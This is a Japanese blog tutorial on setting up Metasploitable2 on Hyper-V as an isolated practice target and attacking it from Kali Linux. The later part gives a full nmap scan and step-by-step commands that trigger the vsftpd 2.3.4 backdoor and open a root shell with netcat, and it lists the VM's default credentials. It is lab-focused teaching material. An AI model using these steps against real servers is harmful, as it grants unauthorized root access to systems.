にほんブログ村
目次 |
---|
※注意事項※
この記事には、セキュリティの脆弱性をつく攻撃手法を具体的に示しています。この記事で記載している攻撃を許可なく他のサイトや他人のサーバーやPCなどに絶対に行わないでください。
本サイトおよび本記事の著者は、本記事の読者が記事に記載してある内容を参考にして他のサイトや他人に害を与えたとしても、一切の責任を負いません。
はじめに
今回は、Kali Linux本体についてはあまり述べませんが、Kali Linuxを使って実際にペネトレーションテストを行う環境(つまり、攻撃する環境)を作っていきます。
攻撃すると言うと言い方が悪いかもしれませんが、実際にクラッカー(Crime Hackerの略: 犯罪を犯すハッカー)と同じ攻撃を標的に対して行って耐えられるかどうか、問題が起こらないかどうかをテストすることがペネトレーションテストです。
つまり、クラッカーと同じことを行うテストであることから、標的(IPアドレス等)を間違えててしまうと、インターネット上のサイトやネットワーク内のサーバー等に許可なく攻撃を行ってしまう可能性があります。
このような背景から、今回はペネトレーションテストのターゲットの環境、つまり、ペネトレーションテストの実験環境/練習環境の作り方を紹介します。
攻撃対象のPCとして、ここでは「Metasploitable2」のイメージを使用します。
「Metasploitable2」とは
「Metasploitable2」とは、Metasploitというペネトレーションテストツールによるペネトレーションの練習やテストに使用するために、わざと脆弱性を持たせた仮想PCです。この仮想PCのOSはLinuxで、以下のサイトから仮想ディスクイメージをダウンロードできます。
Metasploitable 日本語情報トップページ(https://ja.osdn.net/projects/sfnet_metasploitable/)
ダウンロードした仮想ディスクイメージは、仮想環境「VMWare」や「VirtualBox」のイメージですが、ここでは、仮想環境としてHyper-Vを使用します。(Hyper-Vを使用する理由は、単に筆者の所有している環境上で都合が良いためです。)
Hyper-VでMetasploitable2を実行する手順
Metasploitable2は、仮想環境「VMWare」や「VirtualBox」のイメージであることから、Hyper-V環境で動かすには、ファイルの変換が必要です。このファイルの変換を行えるのが「」ですが、2021年4月1日現在で、MicrosoftのDownload Centerからはダウンロードできなくなっていました。
従って、以下のArchive.orgのキャッシュからダウンロードする必要がありますが、ダウンロードと利用に関しては、ご自身の判断で行ってください。
「Archive.orgのキャッシュ」(https://web.archive.org/web/20200812033617if_/https://www.microsoft.com/en-us/download/confirmation.aspx?id=42497)
以下のサイトで、ここのキャッシュで入手したファイルが、オリジナルのファイルと同一であることが示されています。
「Microsoft Virtual Machine Converter のダウンロード」(https://qiita.com/kenichiuda/items/be3c704f970374f34feb)
ダウンロードしたMVMCを以下の手順でインストールします。
MVMCを以下の手順でインストールします。
ダウンロードした「mvmc_setup.msi」を実行します。
「Next」をクリックします。
「I accept the terms in the License Agreement.」にチェックを入れて「Next」をクリックします。
「Next」をクリックします。必要に応じてインストール先ディレクトリを変更します。
「Install」をクリックします。
インストールが始まります。ユーザーアカウント制御(UAC)が出たら、「はい」をクリックします。
インストールはこれで完了です。「Finish」をクリックしてインストーラーを終了します。
インストール後は、コマンドプロンプトを管理者権限で開き、Powershellを実行します。
metasploitable2を展開したフォルダに移動し、Powershell上で以下のコマンドを実行します。
PS C:\> Import-Module 'C:\Program Files\Microsoft Virtual Machine Converter\MvmcCmdlet.psd1'
PS C:\> ConvertTo-MvmcVirtualHardDisk -SourceLiteralPath "Metasploitable.vmdk" -VhdType DynamicHardDisk -VhdFormat Vhdx -Verbose
上記の実行中は、下図のようなイメージです。
変換が終了すると、「Metasploitable.vhdx」ができているので、このファイルをHyper-VのVHDXの置き場所(環境によって異なります)にコピーまたは移動させます。
Hyper-Vマネージャーで、新規に仮想マシンを作ります。
作る時の手順は、筆者は以下の通りに行いました。
まず、仮想マシンに適当な名前を付けます。
仮想マシンは「第1世代(1)」を選択します。
メモリの割り当ては、とりあえず2GBもあれば十分です。
ネットワーク構成は、まずは「接続しない」としておきます。(後で設定します)
仮想ディスクの接続で、「既存の仮想ハードディスクを使用する(U)」を選択し、「Metasploitable.vhdx」を選択します。
「完了」をクリックして、一旦仮想マシンの作成を完了させます。
ネットワーク設定
仮想マシンの設定を開き、左側のメニューから「ハードウェアの追加」を選択します。
次に、「レガシ ネットワーク アダプター」を選択し、「追加(D)」ボタンをクリックします。
元々作成済みの「ネットワーク アダプター」を選択し、「削除(R)」ボタンをクリックします。下図は、削除ボタンを押した後のイメージです。
「適用(A)」ボタンをクリックします。下図は、適用ボタンを押した後のイメージです。
「レガシ ネットワーク アダプター」の「高度な機能」を選択し、「ポート ミラーリング」のミラーリングモードを「移行元」にしておきます。
これにより、このネットワークアダプタ上のパケットをもれなく取得することができるようになります。
「レガシ ネットワーク アダプター」を選択し、「仮想スイッチ(S)」で任意の仮想スイッチを設定します。
「metasploitable2」は脆弱性のある仮想マシンなので、仮想スイッチマネージャーで作成する仮想スイッチは、「内部」や「プライベート」な仮想スイッチ、または完全にローカルなネットワークを設定し、他のPCから接続できないようにしておくのが安全だと思います。
仮想マシンを起動します。下図は起動中のイメージですが、かなり時間がかかります。
下図は、もう一枚の起動中の状態のイメージですが、bind, sshd, mysqld, PostgreSQL, NFS, Postfix, Samba, ftp, Tomcat apacheなど名だたるサービスが実行されていることがわかります。
これらは、おそらく脆弱性のあるバージョンが選ばれていることが容易に想像出kます。
起動後は、下図のようなイメージです。ユーザー名とパスワードは、それぞれ、
ユーザー名: msfadmin
パスワード: msfadmin
を入力します。
これで「metasploitable2」をHyper-V上で動かすことができました。
この仮想マシンは、使う時だけ起動して、使わないときはシャットダウンしておくようにします。
シャットダウンは、以下のようにログイン後にシャットダウンコマンドを実行します。(Hyper-V上でのシャットダウンだとうまくいかないようです)
$ sudo shutdown -h now
試しに攻撃してみる
ペネトレーションテストや攻撃の実験台としてのMetasploitable2の仮想マシンができたので、実際にMetasploitable2の仮想マシンに対して攻撃を仕掛けてみます。
今回お試しで行う攻撃は、Metasploitable2にインストールされている「vsftpd 2.3.4」の脆弱性に対する攻撃です。
脆弱性の内容としては、明らかに意図的にバックドアを仕込んだか、テスト後に取り忘れたかだと想像するのですが、このような攻撃ができると、本当に「ヤバイ」と思います。
では、さっそくMetasploitable2の仮想マシンとKali LinuxのPCを起動します。
ネットワーク環境としては、今回は、以下のIPアドレスで実験を行いました。
Metasploitable2の仮想マシン | 192.168.0.99 |
Kali LinuxのPC | 192.168.0.23 |
まずはKali LinuxのPCから、Terminalを開き、「nmap」というコマンドを実行します。この「nmap」は、知る人ぞ知るペネトレーションテストの常套ツールです。
まずは、Metasploitable2のポートスキャンを行ってみます。なお、nmapの実行は、スーパーユーザーである必要があります。
$ sudo nmap -sS -A 192.168.0.99
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-06 22:34 JST
Nmap scan report for 192.168.0.99
Host is up (0.043s latency).
Not shown: 977 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.0.23
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
|_ssl-date: 2021-04-06T13:34:43+00:00; -9s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_RC4_128_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
|_ SSL2_RC4_128_EXPORT40_WITH_MD5
53/tcp open domain ISC BIND 9.4.2
| dns-nsid:
|_ bind.version: 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/udp nfs
| 100005 1,2,3 41682/udp mountd
| 100005 1,2,3 43592/tcp mountd
| 100021 1,3,4 38738/tcp nlockmgr
| 100021 1,3,4 41139/udp nlockmgr
| 100024 1 39362/tcp status
|_ 100024 1 39649/udp status
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login
514/tcp open tcpwrapped
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
| mysql-info:
| Protocol: 10
| Version: 5.0.51a-3ubuntu5
| Thread ID: 9
| Capabilities flags: 43564
| Some Capabilities: ConnectWithDatabase, SupportsTransactions, LongColumnFlag, SupportsCompression, Speaks41ProtocolNew, Support41Auth, SwitchToSSLAfterHandshake
| Status: Autocommit
|_ Salt: Cz^I0U 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
|_ssl-date: 2021-04-06T13:34:43+00:00; -9s from scanner time.
5900/tcp open vnc VNC (protocol 3.3)
| vnc-info:
| Protocol version: 3.3
| Security types:
|_ VNC Authentication (2)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
| irc-info:
| users: 1
| servers: 1
| lusers: 1
| lservers: 0
| server: irc.Metasploitable.LAN
| version: Unreal3.2.8.1. irc.Metasploitable.LAN
| uptime: 0 days, 0:05:49
| source ident: nmap
| source host: 8CEBD883.F0D9233E.FFFA6D49.IP
|_ error: Closing Link: hxdfvqpkm[192.168.0.23] (Quit: hxdfvqpkm)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
MAC Address: 00:15:5D:20:BB:1E (Microsoft)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 59m50s, deviation: 2h00m00s, median: -9s
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: , NetBIOS MAC: (unknown)
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: metasploitable
| NetBIOS computer name:
| Domain name: localdomain
| FQDN: metasploitable.localdomain
|_ System time: 2021-04-06T09:34:33-04:00
| smb-security-mode:
| account_used:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
TRACEROUTE
HOP RTT ADDRESS
1 43.05 ms 192.168.0.99
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.95 seconds
この結果の多くが攻撃対象となる、ということをまずは知っておいていただきたいと思います。
この結果中で、今回は、以下のvsftpdのところを攻撃していきます。
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.0.23
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
まずは、ftpでログインを試みます。
ここで使用するユーザー名は、最後に「:)」を入力するように「1234567:)」とします。
パスワードは、Enterするだけでよいです。
$ ftp 192.168.0.99
Connected to 192.168.0.99.
220 (vsFTPd 2.3.4)
Name (192.168.0.99:tomizo-no2): 1234567:)
331 Please specify the password.
Password:
この状態で、実は6200ポートが、バックドアとしてオープンされていて、「どんなコマンドでもroot権限で実行」できてしまいます。
では、以下のようにバックドアにつないでみます。
$ nc -nv 192.168.0.99 6200
(UNKNOWN) [192.168.0.99] 6200 (?) open
応答は特に何もありませんが、すでにどんなコマンドでも受け付けられるようになっています。
この時のnetstatの状態は以下の通りです。
$ netstat -an | grep 6200
tcp 0 0 192.168.0.23:57554 192.168.0.99:6200 ESTABLISHED
statusがESTABLISHEDとなっているので、バックドアに接続できていることがわかります。
試しに、以下のように打ち込んでみます。
LANG=C
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
応答が返ってきましたね。
続いて、このMetasploitable2の仮想マシン固有の情報の出力としてネットワーク設定を見てみます。(ifconfigを実行します。)
ifconfig
eth0 Link encap:Ethernet HWaddr 00:15:5d:20:bb:1e
inet addr:192.168.0.99 Bcast:192.168.0.255 Mask:255.255.255.0
inet6 addr: fe80::215:5dff:fe20:bb1e/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2752 errors:0 dropped:551 overruns:0 frame:0
TX packets:2351 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:220004 (214.8 KB) TX bytes:469176 (458.1 KB)
Interrupt:9 Base address:0xec00
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:16608 errors:0 dropped:0 overruns:0 frame:0
TX packets:16608 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:15462097 (14.7 MB) TX bytes:15462097 (14.7 MB)
IPアドレスが、Metasploitable2の仮想マシンになっていますね。
引き続き、「whoami」と入力します。
whoami
root
rootであることがわかります。
つまり、パスワードなしに、完全にMetasploitable2の仮想マシンを乗っ取れたことになります。
まとめ
実際に攻撃してみて、正直言ってセキュリティの脆弱性の恐ろしさがわかると思います。
何といっても、パスワードなしで攻撃対象のサーバーのスーパーユーザーになれるのですから。
やり方さえわかれば、それほど苦も無く攻撃ができてしまうことが分かったと思います。
こういった脆弱性はまだまだ多くありますし、今後もソフトウェアのバージョンアップや新たなソフトウェアやOSが出てくると共に脆弱性もどんどん見つかっていきます。
システムやサイトの管理者であれば、こういった脆弱性は、一つも残すことなく対策しなければなりません。
そうしないと、いつしか甚大な被害を被る可能性がありますから。
そのためには、多くの脆弱性を知るだけでなく、その脆弱性を突く攻撃手法を知り、防ぐ方法を知って対策していかなければなりません。
次回からは、Kali Linuxにある様々なペネトレーションテストツールについて、紹介していきたいと思います。
その中で、過去の脆弱性や攻撃手法、対策などについても解説できれば、と思っています。